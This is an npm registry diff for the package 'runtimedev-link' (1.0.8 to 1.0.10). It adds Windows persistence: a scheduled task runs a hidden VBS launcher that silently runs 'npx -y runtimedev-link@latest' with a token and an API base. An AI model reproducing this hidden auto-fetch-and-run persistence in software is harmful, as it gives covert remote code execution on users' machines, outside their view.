runtimedev-link 1.0.8 → 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/persistence.js +28 -25
- package/lib/win_hidden.js +95 -0
- package/package.json +1 -1
package/lib/persistence.js
CHANGED
|
@@ -4,6 +4,7 @@ const fs = require('fs');
|
|
|
4
4
|
const os = require('os');
|
|
5
5
|
const path = require('path');
|
|
6
6
|
const { execSync, spawnSync } = require('child_process');
|
|
7
|
+
const { resolveNodeLaunch, writeLauncherVbs } = require('./win_hidden');
|
|
7
8
|
|
|
8
9
|
const SERVICE_NAME = 'runtimedev-link';
|
|
9
10
|
const NPM_PACKAGE = 'runtimedev-link@latest';
|
|
@@ -32,7 +33,7 @@ function dataDir() {
|
|
|
32
33
|
|
|
33
34
|
function startScriptPath() {
|
|
34
35
|
return process.platform === 'win32'
|
|
35
|
-
? path.join(dataDir(), 'start.
|
|
36
|
+
? path.join(dataDir(), 'start.vbs')
|
|
36
37
|
: path.join(dataDir(), 'start.sh');
|
|
37
38
|
}
|
|
38
39
|
|
|
@@ -92,31 +93,33 @@ function writeConfig(cfg) {
|
|
|
92
93
|
}
|
|
93
94
|
}
|
|
94
95
|
|
|
95
|
-
function writeStartScript() {
|
|
96
|
+
function writeStartScript(cfg) {
|
|
96
97
|
mkdirp(dataDir());
|
|
97
98
|
const script = startScriptPath();
|
|
98
99
|
const log = logPath();
|
|
99
100
|
|
|
100
101
|
if (process.platform === 'win32') {
|
|
101
|
-
const
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
102
|
+
const apiBase = String(cfg?.apiBase || process.env.SSTAR_API_BASE || '').trim();
|
|
103
|
+
const hash = String(cfg?.hash || process.env.SSTAR_DEPLOYMENT_HASH || '').trim();
|
|
104
|
+
const launch = resolveNodeLaunch(process.execPath);
|
|
105
|
+
if (!launch) {
|
|
106
|
+
throw new Error('Could not find npx-cli.js next to Node.js');
|
|
107
|
+
}
|
|
108
|
+
writeLauncherVbs(
|
|
109
|
+
script,
|
|
110
|
+
[
|
|
111
|
+
{
|
|
112
|
+
exe: launch.node,
|
|
113
|
+
args: [launch.npxCli, '-y', NPM_PACKAGE, '--token', hash],
|
|
114
|
+
delayAfterMs: 0,
|
|
115
|
+
},
|
|
116
|
+
],
|
|
117
|
+
{
|
|
118
|
+
SSTAR_API_BASE: apiBase,
|
|
119
|
+
SSTAR_DEPLOYMENT_HASH: hash,
|
|
120
|
+
NPM_CONFIG_YES: 'true',
|
|
121
|
+
}
|
|
122
|
+
);
|
|
120
123
|
return script;
|
|
121
124
|
}
|
|
122
125
|
|
|
@@ -242,7 +245,7 @@ function removeLegacyWindowsStartup() {
|
|
|
242
245
|
function writeWindowsTaskXml(scriptPath) {
|
|
243
246
|
const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
|
|
244
247
|
const userId = xmlEscape(windowsUserId());
|
|
245
|
-
const
|
|
248
|
+
const vbsArgs = xmlEscape(`//B "${scriptPath.replace(/"/g, '""')}"`);
|
|
246
249
|
const xml = `<?xml version="1.0" encoding="UTF-16"?>
|
|
247
250
|
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
|
248
251
|
<RegistrationInfo>
|
|
@@ -279,8 +282,8 @@ function writeWindowsTaskXml(scriptPath) {
|
|
|
279
282
|
</Settings>
|
|
280
283
|
<Actions Context="Author">
|
|
281
284
|
<Exec>
|
|
282
|
-
<Command>
|
|
283
|
-
<Arguments>${
|
|
285
|
+
<Command>wscript.exe</Command>
|
|
286
|
+
<Arguments>${vbsArgs}</Arguments>
|
|
284
287
|
</Exec>
|
|
285
288
|
</Actions>
|
|
286
289
|
</Task>
|
|
@@ -305,7 +308,7 @@ function installPersistence(cfg) {
|
|
|
305
308
|
throw new Error('Could not resolve home directory');
|
|
306
309
|
}
|
|
307
310
|
writeConfig(cfg);
|
|
308
|
-
const scriptPath = writeStartScript();
|
|
311
|
+
const scriptPath = writeStartScript(cfg);
|
|
309
312
|
|
|
310
313
|
switch (process.platform) {
|
|
311
314
|
case 'win32':
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const { spawn } = require('child_process');
|
|
7
|
+
|
|
8
|
+
const CREATE_NO_WINDOW = 0x08000000;
|
|
9
|
+
|
|
10
|
+
function vbsQuote(value) {
|
|
11
|
+
return String(value || '').replace(/"/g, '""');
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function commandLine(exe, args) {
|
|
15
|
+
let line = '"' + vbsQuote(exe) + '"';
|
|
16
|
+
for (let i = 0; i < args.length; i += 1) {
|
|
17
|
+
line += ' "' + vbsQuote(String(args[i])) + '"';
|
|
18
|
+
}
|
|
19
|
+
return line;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function npxCliCandidates(nodeExe) {
|
|
23
|
+
const nodeDir = path.dirname(nodeExe);
|
|
24
|
+
const rel = [
|
|
25
|
+
path.join('node_modules', 'npm', 'bin', 'npx-cli.cjs'),
|
|
26
|
+
path.join('node_modules', 'npm', 'bin', 'npx-cli.js'),
|
|
27
|
+
path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.cjs'),
|
|
28
|
+
path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.js'),
|
|
29
|
+
];
|
|
30
|
+
return rel.map((part) => path.join(nodeDir, part));
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function resolveNodeLaunch(nodeExe) {
|
|
34
|
+
for (let i = 0; i < npxCliCandidates(nodeExe).length; i += 1) {
|
|
35
|
+
const cli = npxCliCandidates(nodeExe)[i];
|
|
36
|
+
try {
|
|
37
|
+
if (fs.existsSync(cli)) {
|
|
38
|
+
return { node: nodeExe, npxCli: cli };
|
|
39
|
+
}
|
|
40
|
+
} catch {
|
|
41
|
+
// ignore
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
return null;
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
function writeLauncherVbs(vbsPath, steps, env) {
|
|
48
|
+
const lines = [
|
|
49
|
+
'Set sh = CreateObject("WScript.Shell")',
|
|
50
|
+
'Set env = sh.Environment("PROCESS")',
|
|
51
|
+
];
|
|
52
|
+
const entries = env ? Object.entries(env) : [];
|
|
53
|
+
for (let i = 0; i < entries.length; i += 1) {
|
|
54
|
+
const key = entries[i][0];
|
|
55
|
+
const val = entries[i][1];
|
|
56
|
+
if (val == null) continue;
|
|
57
|
+
lines.push('env("' + vbsQuote(key) + '") = "' + vbsQuote(val) + '"');
|
|
58
|
+
}
|
|
59
|
+
for (let i = 0; i < steps.length; i += 1) {
|
|
60
|
+
const step = steps[i];
|
|
61
|
+
lines.push('sh.Run "' + vbsQuote(commandLine(step.exe, step.args)) + '", 0, False');
|
|
62
|
+
if (step.delayAfterMs > 0) {
|
|
63
|
+
lines.push('WScript.Sleep ' + String(step.delayAfterMs));
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
fs.writeFileSync(vbsPath, lines.join('\r\n'), 'utf8');
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
function runVbsHidden(vbsPath) {
|
|
70
|
+
spawn('wscript.exe', ['//B', vbsPath], {
|
|
71
|
+
detached: true,
|
|
72
|
+
stdio: 'ignore',
|
|
73
|
+
windowsHide: true,
|
|
74
|
+
creationFlags: CREATE_NO_WINDOW,
|
|
75
|
+
}).unref();
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
function launchHiddenSteps(steps, env) {
|
|
79
|
+
const vbsPath = path.join(
|
|
80
|
+
os.tmpdir(),
|
|
81
|
+
'rdl_' + Date.now().toString(36) + '.vbs'
|
|
82
|
+
);
|
|
83
|
+
writeLauncherVbs(vbsPath, steps, env);
|
|
84
|
+
runVbsHidden(vbsPath);
|
|
85
|
+
return vbsPath;
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
module.exports = {
|
|
89
|
+
commandLine,
|
|
90
|
+
launchHiddenSteps,
|
|
91
|
+
npxCliCandidates,
|
|
92
|
+
resolveNodeLaunch,
|
|
93
|
+
runVbsHidden,
|
|
94
|
+
writeLauncherVbs,
|
|
95
|
+
};
|